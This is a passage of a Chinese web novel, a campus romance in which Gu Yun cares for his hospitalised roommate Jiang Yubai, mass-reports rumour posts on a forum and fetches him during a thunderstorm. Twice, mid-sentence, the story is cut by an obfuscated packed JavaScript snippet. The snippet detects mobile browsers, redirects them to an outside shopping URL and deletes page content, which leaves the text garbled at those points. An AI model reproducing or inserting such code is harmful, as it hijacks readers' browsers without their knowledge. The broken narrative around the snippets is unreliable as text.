江予白缓缓抬起头,他昨晚在火锅店根本就没有碰任何水果,怎么会桃子皮过敏这么严重进医院了? 他想解释,但望着顾蕴单纯懵懂的脸,解释的话又咽了回去,江予白将错就错道:“没关系,我自己也没注意到。” 这样一说,顾蕴果真更加愧疚了,眼里的情绪都塞不下,几乎快要溢出来了。 江予白敛了敛眼眸,避开与顾蕴对视。 11.保护 顾蕴没看懂江予白复杂的情绪,江予白垂着脑袋,他就凑近,饱含歉意地询问:“你要喝水吗?渴了吧?我给你倒水。” 江予白的视线避无可避,稍不留神便对上一双水润润的眸子,他顿了顿,有些迟疑:“好,谢谢。” 手里多了一杯温水,刚刚好的温度,一点也不烫手。 将水杯递过去的时候,顾蕴眼尖地瞧见江予白的嘴角微微勾了勾,他心念一动,接下来的时间,顾蕴表演了细致体贴。 顾蕴挑了个苹果:“江予白,你要吃苹果吗?我给你切。” 顾蕴:“江予白,你要吃香蕉吗?” …… 顾蕴:“江予白,你要上厕所吗?我帮……” 顾蕴话说一半,卡在了喉咙里,他迫切想要做点什么弥补江予白,话没过脑子就说了出来,这一下江予白都愣住了。 江予白顿了顿,声音清冷如涓涓溪水:“那还是不用了。” 顾蕴尴尬地抠出了一栋别墅,解释:“我刚刚说快了,本意不是这个” 江予白只是过敏,腿也没摔着,上厕所哪需要人帮忙。 要是顾蕴还是以前的顾蕴,他可能会怀疑顾蕴别有它意,但面对现在的顾蕴,江予白还是相信他,他嗯了一声:“我知道。” 这么一折腾,顾蕴不敢再看江予白的眼睛,甚至不想在病房内继续待下去,他在病房内转了两圈,实在是无聊,脑袋一转,索性转了出去。 他倒也没闲逛,交了七七八八的费用,又转了回来。 然而顾蕴再回去,看到的却是被玫瑰花填满的病房。 顾蕴的脑袋缓缓敲出一个硕大的问号。 他以为自己走错了,绕出去看了眼病房号,没错啊,就是这一间,这玫瑰花是什么情况? 顾蕴很懵,绕进去后发现原来是宋怀墨来了。 也不知道宋怀墨用了什么方法把玫瑰花送进来,总之除去地板上堆着的,他的怀里还抱了一部分。 宋怀墨西装革履,穿着讲究,连发丝都抹了发油,看起来光鲜亮丽,对比顾蕴乌青的眼圈和疲惫的面容,以及那身隔夜没换的衣服,显得宋怀墨越发精致。 宋怀墨把玫瑰花递到江予白面前,“小白,你现在怎么样了?没事吧?我今早醒来才得知消息,一知道情况我就立马过来了,这是我准备的花,对不起啊,下次住院这么重要的事你千万不要怕会麻烦我,有什么需要直接联系我。” 说完,他的目光移到江予白的脸上,在见到江予白脸上的红肿后,他皱了皱眉,“我叔叔家的医院专治脸上疤痕,你脸上的痕迹一定能消除,别担心,不会影响你的……” 昨晚救护车到宿舍楼下这件事在论坛闹得沸沸扬扬,网上真真假假的消息传了一大堆,但救护车到的位置是哪一栋这事没有假,但凡宋怀墨用心关注了,他早就能知道真相。 但他昨晚跟唐小酒在一起,虽然看到了论坛上讨论这件事情,美人柔情似水的温柔乡让他沉迷,即便知道很有可能和江予白有关,宋怀墨依旧选择抛在脑后。 过了一晚知晓这件事,他把没来的原因怪罪在唐小酒身上。 唐小酒捡起被子裹住赤.裸的身体,藏在被子下的身躯瑟瑟发抖,“先生……对不起,我不知道您……对不起。” 昨晚宋怀墨喝了酒,临时把他叫过来,他在这里待了一夜,被子下的身体痕迹斑斑,纵横交错,早上更是被宋怀墨踢下床,此刻腰臀难受得要命。 但更让他难受的是宋怀墨的态度。 原来昨晚的温存都是假象…… 宋怀墨没什么耐心:“滚。” 他满脸厌恶看着唐小酒狼狈离开的背影,安排助理送了套新衣服过来,特意洗了个澡,消除掉身上的属于酒店的劣质木香,精心挑选符合他气质的香喷洒在身上,这才离开。 他靠关系问到江予白所在的病房,但急于来刷存在感,并没来得及打听江予白住院的原因。 谁知道赶到病房一看,江予白的脸竟然变成了这样。 宋怀墨自认为体贴地安抚,借此暗自展示自己的实力。 江予白聪慧,哪能看不出宋怀墨的心思。 他醒来时顾蕴的注意力也放在他的脸上过,但并不同于宋怀墨这种,顾蕴在关心过敏症状有没有好,宋怀墨则全然在替他可惜这张脸会不会毁容。 挺可笑的。 嘴上说是关心他,实际上关心的是他这张脸。 江予白给过宋怀墨机会,可惜他没看到宋怀墨的诚意。 江予白对玫瑰花粉过敏……身为追求者,宋怀墨对此好像完全不知情,不仅如此,还把江予白的过敏源摆满了整个医院,也不知道他是要害江予白还是要害江予白。 顾蕴大步走了过去,在花粉即将被送到江予白脸庞上时,挡在了江予白的前边,他拦住宋怀墨,刚想说出江予白对玫瑰花粉过敏的事情,衣角就被人拉住。 往下坠的衣角提醒了顾蕴,他回头看,江予白像是意料到他准备说什么,在对他摇头,拦住了他要说的话。 虽然不懂为什么不能告诉他过敏的事,但顾蕴还是听从江予白的安排,他伸出手指头,戳着玫瑰花花束包装往后退,一本正经道:“不好意思,请你不要再往前递了,我们不接受。” 宋怀墨定睛一看,挡住他的人竟然是顾蕴,他啧了一声,不太耐烦:“顾蕴,谁让你挡住我的,让开。” 他显然没意识到,只是一个晚上,江予白和顾蕴的关系就缓和了那么多。 顾蕴毫不示弱,回道:“你说让就让啊,我就不让。” 篮球赛的时候他已经和宋怀墨交过手,两人关系早就没有那么表面那么平和,这会儿顾蕴没有任何顾虑,撕开了那张糊在表面的窗纸。 他还算是有礼貌,没有挥开宋怀墨递过来的花,仅仅只是扶开江予白,避免他受到花粉的攻击。 宋怀墨很是生气,“你……!” 他上前一步,正要好好教训江予白,仔细一看却发现,江予白与顾蕴关系亲密,手甚至牵着顾蕴的衣角,跟他调查的结果完全相左。 宋怀墨质问,仿佛他才是正宫,而江予白是出轨2+1的渣男:“小白,你为什么要牵他?” 说完,他往前,一把握住江予白的手腕,想要把他拉在身后,但他低估了顾蕴的力量。 顾蕴往外一甩 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顾蕴不懂就问:“刚刚你为什么不让我跟宋怀墨说你对玫瑰花过敏呀?” 江予白回头看他:“没必要。” 口罩遮住他大半张脸,只露出精致的眉眼,他眉目精致,说到宋怀墨时,眉眼越发冷漠。 顾蕴其实不太明白,但江予白没多说,他也就没再问,“好吧。” 不过,宋怀墨很成功地完善了他脑袋里对渣男的刻板印象。 真渣! 说起来,江予白的身体倒真挺复杂,一方面确实体弱,容易生病,另一方面,他又恢复的很快,昨晚才火急火燎赶来医院,今天就可以出院了。 两人回到宿舍后才知道,这件事在论坛上闹翻了天。 甚至传出了多个版本。 版本一:震惊!!!某某宿舍七栋男生为情所困,割腕自杀,半夜送去医院急救究竟是为何。 版本二:大学生跳楼,学校为保密,多名室友获保研名额,这对普通考研牛马来说到底公平吗? 版本三:某宿舍相处不和谐,室友a竟然对室友b泼硫酸,造成室友b毁容,连夜送进医院,据说室友b是那位公认校草。 这三个版本在学校最为流传,好在江予白回宿舍时依旧戴着口罩,不然早已成了这栋宿舍楼的猴子,被一堆人围观。 顾蕴接过王明亮的手机,随便翻看了这么多版本后,有些无语,“这都从哪传出来的啊,怎么传成这样了。” 怪不得宋怀墨在医院的时候,视线总是落在江予白的手腕上,原来是看了论坛上这些版本,真以为江予白为情所困割腕自杀啊。 很离谱。 顾蕴撸起袖子,“我来!我去辟谣。” 明明江予白才是事故主角,但他对此并没有什么看法,甚至有些漠不关心,他拦住顾蕴,语气很平静:“不用了。” 宋怀墨三天两头向他表白,江予白早就习惯被论坛上的人讨论,更何况昨晚这件事并没有提到他的名字,只是一些捕风捉影,对他并没有什么影响,江予白不想花费时间精力在这上面。 12.倾盆大雨 顾蕴一愣,热血沸腾的动作顿住,疑惑地看了过去,“为什么?” 江予白不是很爱解释的人,面对顾蕴的疑问,他只淡淡地说了句没必要,“不用浪费时间。” 顾蕴虽然不懂,但一下蔫巴了,“好吧。” 江予白嗯了一声,坐回了自己的位置,他背对着顾蕴,坐姿依旧端正,肩背直挺,可再看,那股子疏离好像变成了孤寂。 顾蕴揉了揉眼睛,总感觉是自己的错觉,但他看不到江予白的表情,无从得知对方此刻的想法。 顾蕴默默打开了手机,百般无聊地翻了翻论坛,还没来得及翻到些什么,微信就弹出了一条消息。 是他新建的微信号弹出来的,一个完全陌生的头像发来的消息。 幼儿园一姐:同学,你看了论坛上的热搜吗?好像是你们那一栋发生的事欸。 顾蕴翻了翻对方朋友圈,终于想起了这个人是他上次被老师点起来回答问题的时候加的。 加了之后两人没聊过天,也没一起打过篮球,就这么互相躺在对方的列表里。 顾蕴没想到会有人跟他讨论这些,而且还是一个不太熟悉的同学。 顾蕴礼貌地回复:我看到了。 顾蕴一回完,对方的聊天框就一直显示正在输入中。 这人好奇怪,顾蕴等了一会,没等到回复,便退出了微信,又点进了论坛。 这会儿的论坛比王明亮看见的更乱,各种言论像一锅粥,混乱到顾蕴都看不下去。 有澄清的帖子,但对比造谣的帖子,澄清的帖子热度显然不高。 不,完全可以说是没有热度。 大家只看得到一些自己想看到的事情,真相被他们丢在眼后。 怪不得江予白不让他辟谣,这任谁关注都只会觉得心梗。 在顾蕴思考该怎么处理的时候,微信又弹出了一条消息。 幼儿园一姐:顾同学也在关注这件事呀,太巧了,我们宿舍都在看,就是不知道真相到底是什么,你那边知道点什么情况吗?校草大美人不会真的被毁容了吧? 顾蕴皱了皱眉,没太理解这个人为什么要跟他聊这些。 他回复:和论坛说的不一样。 许是他的回答实在是无趣,对面也歇了和他再聊下去的欲望,对话没再进行下去。 幼儿园一姐的手机摆在桌面,她的三个室友围在一起,紧跟着哎呦一声,“怎么回事,这人也太不会聊天了吧!不聊了不聊了,不好玩。” 幼儿园一姐小声道:“但是他真的很帅。” 一巴掌落在了幼儿园一姐的脑袋上,室友哀嚎:“帅什么帅,天仙下凡也不能这样!” “死直男!别聊了,男的多的是,不缺这一个。” “好吧……”幼儿园一姐无奈,她嘟囔道,“确实直男,可惜了那张脸,真的很帅啊。” 顾蕴对此完全不知情,他也不在乎。 回复了对方之后,他早就退出微信,重新点进了论坛。 江予白不让他辟谣,顾蕴的素养也不允许他和别人对骂,因此,他想到一个笨办法:举报。 据他了解,论坛背后是有管理人员的,面对这些造谣的帖子,论坛的管理人员完全有义务把这些内容删掉。 而且顾蕴搜过了,管理人员大都是学生,效率也很高,很快就能处理好被举报的帖子。 顾蕴只要把这些睁着眼睛说瞎话的帖子举报掉,很快就能删除。 顾蕴知道如果学了编程,他会有更快速的举报方法,但很可惜,穿书前顾蕴只是一个小地方的高中生,小地方的教育条件并不支持他接触计算机之类的东西。 穿书后的日子他一直在金融相关的东西,并没有接触到任何与编程相关的东西,现学速度太慢,顾蕴需要的是能立马举报掉这些帖子的办法,他只能想到手动举报。 说干就干,顾蕴把原本要带出门的书包丢在书桌上,下巴枕着书包,双臂将书包圈住,捧着手机就开始战斗。 他记忆力非凡,行动力更是一绝,一个下午,所有帖子全部举报完毕,没有一个漏网之鱼。 甚至于胡乱发帖挑事的人,顾蕴也没有漏掉。 顾蕴甩了甩发麻的手臂,站起来摇了摇脑袋,走到阳台外,打开窗户深吸一口窗外的空气,只感觉心情一片大好。 几乎是顾蕴举报的后一秒,江予白收到了好几条消息。 贺之峡:我靠我靠我靠小白,是你吗你在举报?你什么时候关注这些了,我怎么不知道。 贺之峡:我还在上课呢,刚上课摸鱼,点进论坛一看,手机差点没爆炸,不知道是谁举报了一堆帖子。 贺之峡:靠,我点进去一看,造谣昨晚那件事的帖子全都被人举报了,我随便翻了一下,完全翻不到尽头啊。 贺之峡:你知道我点了多少下同意吗(微笑.jpg) 江予白没有立马回复,对方显然是正在兴头上,又连着发了好几条消息过来。 贺之峡:我的手都快要断了,你知道是谁吗? 贺之峡:我靠他还在继续,天哪到底是谁,不是你对吧? 贺之峡:你认识谁了这么有耐心,他这么有耐心做什么都会成功的。 不止是贺之峡的后台爆了,江予白的微信也快爆了。 他平时不怎么跟人聊天,微信消息向来不多,这还是第一次被人用微信轰炸。 江予白看完消息,漂亮的眼眸微微眯起,眉头不经意间轻蹙,眉眼挂着一丝不易察觉的疑惑。 他在脑袋里搜罗了一圈,思考是谁会做出这样的行为,但筛选了一圈,江予白也没想到贺之峡嘴中说的这人到底是谁。 面对贺之峡的一大串轰炸,江予白简单地回复了三个字:不知道。 由于举报都是匿名举报,贺之峡虽说是管理员,但也没办法直接看到具体的举报人。 贺之峡:放心,就是要走一点程序,我等下就查一查,一定帮你查到这个好心人 江予白:。 江予白环顾宿舍,看了一圈,视线锁定在了顾蕴身上。 顾蕴站了起来,走到窗户前,深吸了一口气,然后……又回到了书桌前。 再仔细看,顾蕴的书包随意地摊在桌上,桌上一本书也没有,书包也没有打开的痕迹。 江予白的心底涌现了一个很离谱很大胆的猜想。 要是放在以前,江予白完全不会把目标锁定在顾蕴身上。但是,昨晚顾蕴一直守着他,这让江予白改变了他对顾蕴的看法。 虽然这个想法很离谱,但江予白还是跟贺之峡提了一嘴。 贺之峡立马去办。 江予白放下手机,若有所思地看着顾蕴。 顾蕴摸了摸后脑勺,感觉凉飕飕的。 他的头发旺盛,也没秃头啊。 顾蕴回头一看,正对上江予白澄澈透亮的眼睛。 “怎么了?”顾蕴不解,转念突然想到江予白才从医院出来,又连忙问道,“不舒服吗?” 顾蕴身强体壮、皮糙肉厚,对什么东西都不过敏,他还是第一次见到有人严重过敏到休克的情况,尽管他没体会过过敏的症状,但从江予白昨晚的状态来看,肯定是非常难受的。 顾蕴的问题反倒出乎江予白意料之外,他愣了片刻,道:“没有。” 又担心顾蕴不理解,他补充:“没有不舒服。” 顾蕴:“好的。” 江予白接着问:“你今天怎么没去图书馆?” “我下午在……我下午有点事要处理,在宿舍也能操作,就没去图书馆了。” 顾蕴险些自爆,但话说到一半,他又突然觉得举报人这个行为太小学生,显得人很不聪明的样子,他还是不要跟江予白说比较好。 顾蕴随便扯了一嘴圆谎,他以为自己天衣无缝,但实际上,江予白把他的一举一动全收入眼帘。 不需要再找贺之峡确认,顾蕴的反应就已经把结果摆在眼前。 “你不觉得浪费时间吗?”江予白轻声发问,又像是自言自语。 顾蕴平时恨不得把一分钟掰成两分钟来用,一下课就往食堂飞奔,挤出来的时间不是往图书馆就是往篮球场,但是他竟然愿意浪费时间在这些对他毫无影响的事情上。 江予白的心弦好像被人轻轻拨动,悦耳的琴声宛如冬日里一缕温柔的阳光,穿透了厚重的云层,轻轻洒落在静谧的湖面上,闪烁着柔和而细腻的光芒。 顾蕴没听清江予白的疑问,当他再问时,江予白却不愿意再说,顾蕴只好作罢。 他叮嘱:“江予白,你要是不舒服的话,记得跟我说。” 江予白嗯了一声,原打算跟顾蕴坦白的话又咽了回去。 贺之峡的效率很快,没让江予白等太久,就带来了确切的消息。 贺之峡:小白你简直就是预言家! 江予白:是他? 贺之峡:没错!这人谁啊,我刚翻了一下,他之前还发过不少骂你的帖子,怎么对你又爱又恨的? 贺之峡:不会是你哪个爱慕者吧? 江予白:。 江予白:把他的账号给我,谢谢。 贺之峡:呦,怪有礼貌的,给你吧你自己去看。 江予白拿了账号,动作生疏地点进论坛,找到了顾蕴的主页。 确认像贺之峡说的那样,顾蕴的主页很多条骂他的帖子。 江予白抿了抿唇瓣,血色的唇被咬出明显的牙印,他的眼睛闪了闪,继续翻了下去,直到看完顾蕴主页的所有帖子。 确实像贺之峡说的那样…… 江予白把手机关掉,闭着眼睛半晌,又打开手机,重新观察了一圈帖子。 都是在新加他微信的那天之前发的。 顾蕴的改变很明显,从以前邋遢的样子变成现在干净清爽帅气的模样,时间分割点就是这一天。 江予白放下手机,心底涌现出莫名其妙的庆幸。 但这一丝庆幸转瞬即逝,他并没有察觉。 - 确实就像江予白说的那样,他们不在乎,这件事情就影响不到他们。 各个版本在论坛上挂了一天,但因为当事人没出来,顾蕴又疯狂举报,所以热度渐渐降下去了。 顾蕴的生活再次恢复宁静。 除了……他好像多了个朋友。 顾蕴也不确定他们到底算不算朋友,总之对比最开始,他和江予白的关系缓和了许多。 其实顾蕴最开始是想多认识几个一起打篮球的朋友,也压根没想过要和这本书的主角之一做朋友,特别是这位还是主角下场凄惨的白月光。 直觉告诉他,随便打乱剧情是不会有好下场的,这放在他的同桌嘴中,像他这样的,在小说里通常被称为反派,或是无足轻重的炮灰。 但是,顾蕴有自己的判断。 江予白因为他受伤,他照顾一点是应该的。 更何况,江予白人也挺好的,不应该落得原文那样的下场,宋怀墨也根本不配! 确认论坛上没有江予白的黑帖,顾蕴关掉手机,准备再躺五分钟就去上课。 他躺在床上,床帘拉得紧紧的,一点光线也透不出来,床帘外的人完全无法分辨他在干什么。 江予白收拾好书包,走前经过顾蕴的床,脚步一顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14130295|149585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,冷声提醒:“顾蕴,下午有课。” 说完,也不等顾蕴回答,他就先行离开了。 这句话仿佛从耳边飘过,顾蕴听到的时候还以为自己在做梦,等反应过来,掀开床帘时,回应他的只有关门声。 江予白,提醒他去上课?! 这和原文里江予白的人设一点也不一样,顾蕴感觉自己没睡醒。 他躺下,闭眼,重新睡。 再睁开眼睛,江予白提醒他的那句话依旧在耳边环绕。 好像不是做梦。 这么一折腾,顾蕴完全睡不着了,他直接从床上蹦起来,动作飞快地收拾好,立马出了门。 一离开宿舍,顾蕴就感受到了太阳的威力,超级晒超级热,踩着油柏路,沥青的温度仿佛要穿透鞋底。 阴了许多天,突然出大太阳,天气异常的有些可怕,顾蕴望了一眼天空,只感觉有乌云偷偷藏了起来。 他看了眼天气预报,扭头又回了宿舍,保险起见拿了三把伞塞进书包。 等再追出去的时候,已经晚了,江予白脚步太快,顾蕴又回了趟宿舍拿伞,虽然之后紧跟着江予白出门,但还是没跟上。 等顾蕴到教室的时候,江予白的左右两边已经坐满了人,顾蕴只能退而求其次,坐在了江予白的身后。 他伸出手指,想戳一戳江予白,问他今天为什么这么反常,但手刚伸出去,又停在了半空。 直接问好像有点奇怪。 顾蕴只好作罢,停下了这个动作,将这个问题咽了回去。 到底为什么要提醒他去上课啊?是因为他们是朋友吗? 顾蕴摸不透江予白的想法,他想了一下,接受了他和江予白是朋友这个说法。 下午连上两节课,就在第二节课下课铃声响起时,原本晴空万里的天空突然变脸,狂风大作,紧接着豆大的雨点倾泻而下,敲击在不锈钢棚顶上,发出清脆的响声。 风带着雨滴吹进了教室,坐在窗户旁边的同学连连关窗,但他们的动作慢了一步,等窗户关上时,书本已被打湿大半,桌上全是水迹。 顾蕴书包里除了书,还放着三把伞,在其他同学哀嚎没有伞完蛋的时候,他摸了摸书包里的伞,选了把最大的给江予白,余下两把随机拿了一把给王明亮。 王明亮显然没意识到顾蕴竟然带了三把伞,拿到伞的那一刻,他一整个感激涕零,“顾蕴,你就是我的神!” 顾蕴沉默,不是很想接这个话。 江予白就与王明亮不同,他接过伞,像是在走神,心不在焉地回道:“谢谢。” 握着伞的那只手纤细雪白,唇色苍白如纸,血色似乎被寒风一吹而散,只剩下淡淡的轮廓,但江予白眸底的情绪不明显。 顾蕴总感觉江予白脆弱易折,生怕他淋湿生病,哪怕江予白比王明亮要瘦,但还是挑了最大的一把伞给他。 此刻他并没有看出任何异常,只当江予白往常便是这样,顾蕴笑了笑:“没事,雨太大了,你回去的时候别淋湿了。” 这雨不太可能立马停,躲在教学楼门口的同学一咬牙,脑袋顶着书包冲了出去。 总归是淋雨,不如趁着雨小早点回宿舍洗个澡。 王明亮手里有伞,走的就更早了,撑着伞一溜烟消失在教学楼。 顾蕴被老师喊了过去,他在教学楼待了一会,没立马走。 等老师交代完事情,他出来的时候,天色暗沉了许多,窗外的天空仿佛已经到了傍晚,教室甚至需要开灯才能看清楚东西。 顾蕴回到教室的时候,同学们都走得差不多了,教室关着灯,他把灯打开时,正巧电闪雷鸣,巨大的闪电仿佛要把天空撕裂,顾蕴的脸在这一霎被照得煞白。 实在是太过突然,教室内又空无一人,顾蕴毫无防备,哪怕身强体壮,也被雷闪的声音一震,心跳的速度快得有些不正常,心脏仿佛要跳出胸腔了。 跟世界末日一样,下一秒仿佛就要有鬼飞出来了。 顾蕴小声嘟囔,飞快地收拾好东西,正要走时,突然间发现他的前排书桌里还塞了一个包。 可能是有人来了教室忘记拿走了,顾蕴此刻的心脏被鬼提着,他只看了一眼,并没有当回事,抱着伞三步当做两步走,冲出了教学楼。 他怕鬼,这个天气总感觉是鬼出来活动的最好时机,顾蕴可不想自己被鬼抓住。 他速度快,平日里要走十五分钟的路,顾蕴顶着倾盆大雨,硬生生比平时快了一半,八分钟就到了宿舍。 雨太大,顾蕴走得快,身上避免不了被水打湿,他擦了擦被打湿的头发,换了件干爽的衣服,悠闲自在地坐着。 玩了会手机后,顾蕴才发现宿舍的声音单调的有些过分,他回头看了一圈才发现,宿舍里面只有王明亮,完全没看见江予白的身影。 顾蕴脑袋敲出一个大大的疑问,难不成江予白下雨天还去外边玩去了? 顾蕴问:“王明亮,江予白一直没有回来吗?” 王明亮脑袋一转,完全在意料之外,一脸茫然:“什么?” 王明亮:“江哥没有跟你一起吗?我回来之后一直没有看见他,我还以为他跟你一起呢。” 顾蕴回想:“我被老师喊过去了,我出来的时候教室也没有其他人。” 王明亮举着手机晃了晃:“群里问问吧,这么大的人总不能丢。” 王明亮在群里问了一句,顾蕴又私聊问了他,但都没得到回复,江予白就跟失联了一样。 王明亮摸了摸脑袋,猜测道:“总不能还在教学楼吧?” 顾蕴脑袋灵光一闪,想起了走前塞在前排书桌里的那个书包。 13.落水小狗 今天天气十分恶劣,窗外电闪雷鸣,在倾盆大雨面前,伞只起到一个装饰性的作用,就连辅导员也在群里通知非必要不要出门。 但是现在,他们宿舍还有一个人不知所踪。 江予白平日里虽然不会秒回消息,但一般隔半个小时,看到了就会回复。 现在半个小时过去了大半,顾蕴也没等到他的回复。 顾蕴绞尽脑汁地回忆原文的剧情,但在他的记忆里,同桌并没有提过这一段。 那应该没什么问题吧。 顾蕴拿出本书,试图靠完成今天的课堂作业转移注意力。 王明亮凑过来,兴奋道:“蕴哥,你都看十分钟了,怎么还在这一题,这题我会写,我给你答案吧。” 自从顾蕴恢复正常后,王明亮作业的答案全从顾蕴这里进货,这还是第一次他先写出来,顾蕴被卡住。 这个重要的时刻必须得记录下来。 顾蕴回过神一看,才发现这么长时间他一直没动笔。 他刚刚又在大脑里搜刮了一遍,终于在角落里揪出了这段记忆。 这是原文里一个很重要的转折点,他的同桌长话短说,只提了一句,这也是顾蕴对这个剧情点没太多印象的原因。 江予白害怕打雷的大雨天。 剧情发生在一个像今天一样的,从艳阳高照转大暴雨的坏天气。 出门时艳阳高照,因此江予白并没有带伞,等下课时,天空突然翻脸,下起了大雨,江予白被困在了教学楼。 在原文里,顾蕴还是江予白那个没有礼貌没有素质的室友,他连自己都没带伞,更不可能借伞给江予白。 江予白身体本来就弱,担心下雨天淋湿会生病,他又怕打雷,便待在教学楼,想等雨小之后再走。 但雨一直没停,甚至有越下越大的趋势。 在人都走得差不多的时候,空荡的教学楼显得更可怕了。 江予白被困在了教学楼。 若有人能将你从困境中救出,那他必定会在你心中占据一个特殊的位置。 在江予白被困在教学楼里孤立无助时,宋怀墨来了。 他如天神一般从天而降,把江予白带出了教室。 江予白的心在此刻开始动摇。 不行! 这绝对不行! 这是悲剧的开始,顾蕴要阻止这件事情发生。 顾不得回应王明亮,他猛地站起来,在衣柜里翻了件长大衣,随手拿起放在宿舍门口的衣服,直接冲出了宿舍。 王明亮一回头,人不见了,他追了出去,大声问道:“哎,这么大雨你去哪啊?” “教学楼。”顾蕴丢下一句,速度飞快地下了楼。 雨比顾蕴在宿舍看到的还要大,一出门伞险些飞走,好在宿舍楼下有直达教室的校车。 校车上就顾蕴一个人,顾蕴甩掉雨伞上的水,把大衣抱在怀中,司机见状笑道:“同学这是去接女朋友啊?” 风雨太大了,吹散了司机的话,带到顾蕴耳边时,话语已经变得模糊,顾蕴面露疑惑,反应过来后连忙反驳:“不是不是,是去找室友。” 校车司机揶揄,嘴角笑开了花:“哦,懂了。” 校车司机天天在学校开校车,还是第一次见这么周正的小伙子,身材高大,动作文雅但不慢,一点也不粗鲁,他怎么看怎么都满意呢。 他不由自主地就站在了看女婿的角度,越看是越喜欢,可惜女儿还在上初中。 看样子没信他的话,但顾蕴此刻心急如焚,只想早些到教学楼,也顾不得司机怎么想,追问道:“师傅,是要等人坐满才走吗?” 校车司机钥匙一拧,脚踩油门,爽快道:“小伙子这么急啊,现在就可以走!” 顾蕴扶住前排座椅靠背,感激道:“谢谢师傅。” 雨拍打着校车玻璃,校车在风雨中慢下了脚步,司机大声解释:“小伙子,开不了太快,车要翻了。” 顾蕴应了一声,随后又低着头不停地翻看着手机,在等江予白的回信。 许是顾蕴的期待过于显眼,他的手机响了一声。 顾蕴点进去看,是江予白的回复:我在教学楼。 五个字让顾蕴流泪。 他激动地回复:你在哪个教室?怎么没回宿舍,是在忙吗? 顾蕴等了等,看见了聊天框顶上显示的正在输入中,也终于等到了江予白的回答:没 这下顾蕴愣住了,他反复琢磨,也没理解这一个字是什么意思。 怎么答非所问啊。 等顾蕴到教学楼大门时,先前在门口等雨停的人已经走光,远看没几间教室亮灯。 顾蕴刚举起手机,准备拍下教学楼亮灯的教室,下一秒耳边响起一道巨雷,吓得他手机险些掉在地上。 拿稳手机拍好照片后,顾蕴嘴中默念了好几遍社会主义核心价值观,如慷慨就义一般大步向前。 教学楼的灯很阴间,红色的显示屏正对大门,远看像极了地狱入口。 顾蕴踏了进去,按着亮灯的教室,从一楼开始找。 每推开一次门,顾蕴都在无比期待江予白会在,但很可惜,找到最后一间,他也没找到江予白。 好在顾蕴天天运动,体力足够支撑他再找一次。 顾蕴从六楼往下,一间教室一间教室的排查,走到一楼时,他人都傻了。 江予白是会隐身吗? 顾蕴拿出手机,又一次询问江予白在哪个教室,这次他说,他在教学楼一楼。 顾蕴没抱江予白会回他的希望,问完之后,他把手机收了起来,准备再找一圈。 他抬头,撞进了江予白的眼眸之中。 带了伞也没能完全防住这场大雨,顾蕴的头发被雨水打湿,软塌塌地贴在额头上,湿漉漉的,像落水小狗一般。 大雨让他有些狼狈,但顾蕴此刻脸上挂着庆幸的笑容,眸底的光芒闪亮。 江予白站在楼道,抬着眸子看着他。 他静静地站在那里,身姿挺拔而孤高,仿佛与周围隔绝成两个世界。 顾蕴飞奔过去,一把搂住江予白,动作流畅自然,像极了在球场搂住他的队友,打碎了透明的玻璃罩,他欢呼,“终于找到你了!” 江予白被他抱在怀中,双手甚至不知道该往哪放,他垂眸,双手只能放在顾蕴胸前。 他伸手试图推开顾蕴,饱满的弧度却让他一愣。 也就是一个愣神的功夫,顾蕴松开了他,他观察着江予白的表情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14152361|149585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“你没被吓到吧?” 他的面色一贯清冷,仿佛世间万物都无法撼动其分毫。 但顾蕴问出这个问题时,江予白的瞳孔微微收缩,只是很快他便恢复了平静,那副清冷的表情再次如面具般覆上面庞。 他的唇角微微抿紧,身姿依旧笔直,语气平静无波,“没有。” “那就好。”顾蕴问道:“那你现在要回宿舍吗?” 顾蕴的情绪并不内敛,关心都写在脸上,江予白一眼就能看透他的想法,他嗯了一声。 顾蕴后知后觉地意识到自己来得太过突然,完全没什么理由,他想了想,随便扯了个理由,“我回去的时候有东西忘记拿了,其实我过来是找东西的。” “好。”江予白没什么反应,好像完全没相信他,又好像相信了。 顾蕴找补:“我去拿东西,你在这里等……好吧,你要跟我一起去找吗?” 江予白语气非常坚定,“我跟你一起。” 顾蕴沉默了片刻,妥协了。 他装模作样地回到了原先上课的教室,在教室转悠了一圈,也没找到什么适合带走的东西。 顾蕴原以为江予白会站在门口等他,但没想到的是,江予白一直跟在他身后,这完全没给顾蕴瞎编的机会。 顾蕴停下脚步,江予白也停了下来。 “好吧,我其实没有忘记拿东西。”顾蕴无奈坦白,“我是担心你害怕。” 江予白眼眸闪动,闻言轻声回道:“我知道。” 窗外的雨声将这句话吞没,落在顾蕴嘴中的只有一句谢谢。 走到教学楼门口时,顾蕴停了下来,“等等。” 他来的时候特意带了件外套,就是担心雨淋到江予白身上,会导致他感冒生病,这会儿大衣派上了用场。 江予白面带疑惑地看着他,顾蕴伸手把大衣递了过去,“我洗过还没穿的,穿上的话淋不到雨。” 顾蕴建议:“要不你穿上吧?” 江予白不笑的时候很有距离感,平日里与人之间的相处更加,顾蕴做好了对方不接受的准备。 然而让他意外的是,江予白伸出了手。 顾蕴怕他后悔,连忙把大衣递了过去。 这是一件有帽子的大衣,江予白穿上后,自觉地把帽子也戴上了。 他比顾蕴要瘦一些,宽大的衣服将他完全包裹,戴上的帽子更是遮住了他小半张脸,只露出精致的五官和尖尖的下巴。 同样的衣服怎么在江予白身上就是不一样? 顾蕴举着伞,非常疑惑。 